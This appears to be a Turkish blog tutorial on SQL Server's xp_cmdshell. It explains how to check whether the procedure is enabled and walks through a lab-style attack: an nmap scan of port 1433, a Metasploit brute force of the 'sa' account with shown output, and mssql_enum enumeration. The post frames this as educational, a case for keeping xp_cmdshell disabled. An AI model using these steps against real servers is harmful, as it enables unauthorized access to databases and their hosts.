Aralık 2020 SQL Server (7) 0
xp_cmdshell, SQL Server platformu içinden işletim sistemi cmd komut satırına komut göndermeyi ve çalıştırmaya imkan sağlayan stored procedure'dür. Bu özelliği sayesinde işletim sistemi cmd ekranında yeni bir kullanıcı açıp, full yetki verebilir, sisteminize format komutunu göndererek her şeyi silebilir veya basit bir keylogger da yapabilir. Sql server default kurulumlarda bu eğer değişiklik yapmadıysanız, kapalı gelmektedir. Fakat kontrol etmek isterseniz, Database'in genel ayarlarının olduğu Master veritabanına aşağıdaki komutları yazarak sonuçlarını görebilirsiniz. Eğer config_value değeri sıfır (0) ise bu özellik kapalı, bir(1) ise açık demektedir.
USE master;
GO
EXEC sp_configure 'show advanced option'
Şimdi xp_cmdshell ile yapılabilecekleri test edelim. Öncelikle nmap kullanarak sistem veya sistemler üzerinde kurulu Database ve türlerini
tespit edelim. Aşağıdaki komut ile
# sudo nmap -sT -sV 10.1.1.1 -p 1433 -PN
Starting Nmap 6.1 ( ) at 2012-01-29 21:53 EET
Nmap scan report for 10.1.1.1.dynamic.ttnet.com.tr (10.1.1.1)
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2012
database tespiti yaptık. Microsoft SQL Server 2012 servisi çalışmaktadır. Mssql sunucularda en yetkili kullanıcı “sa” dir. Bu hesap ile, MSSql server en yüksek yetkilerle yönetilebilir. “sa” hesabına yönelik brute force denemesi yapıyoruz.
#msfconsole
msf > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > set RHOSTS 10.1.1.1
RHOSTS => 10.1.1.1
msf auxiliary(mssql_login) > set USERPASS_FILE /home/xarxes/pass.lst
USERPASS_FILE => /home/xarxes/pass.lst
msf auxiliary(mssql_login) > exploit
[*] 10.1.1.1:1433 MSSQL – [01/19] – Trying username:’sa’ with password:”
[-] 10.1.1.1:1433 MSSQL – [01/19] – failed to login as ‘sa’
…
…
[+] 10.1.1.1:1433 – MSSQL – successful login ‘sa’ : ‘benimgizliparolam’,
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Üst üste gönderilen parola şifre girişi denemelerine karşı, bir güvenlik politikası yoksa brute force saldırısı ile parola elde edilebilir. Elde edilen kullanıcı ve parola bilgileri ile veritabanı ve tablo yapısı, veritabanı kullanıcıları, konfigürasyon parametreleri, mssql’e login olmuş kullanıcıları ve mssql sunucunun çalıştığı işletim sistemindeki kullanıcı hesapları gibi bilgiler toplayabiliriz. Bunun için ;
msf > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(mssql_enum) > set RHOST 10.1.1.1
RHOST => 10.1.1.1
msf auxiliary(mssql_enum) > set PASSWORD gizliparola
PASSWORD => gizliparola
msf auxiliary(mssql_enum) > exploit
kullanarak bilgileri listeleyebiliriz. Gerisini saldırgan veya tarafından hazırlanan yazılım ile işlemlere veya saldırılarına devam eder. Burada xp_cmdshell 'i özellikle kapalı konumda tutmamız için eğitim niteliğinde bir senaryo çizilmiştir. Daha kötüsü de olabilir.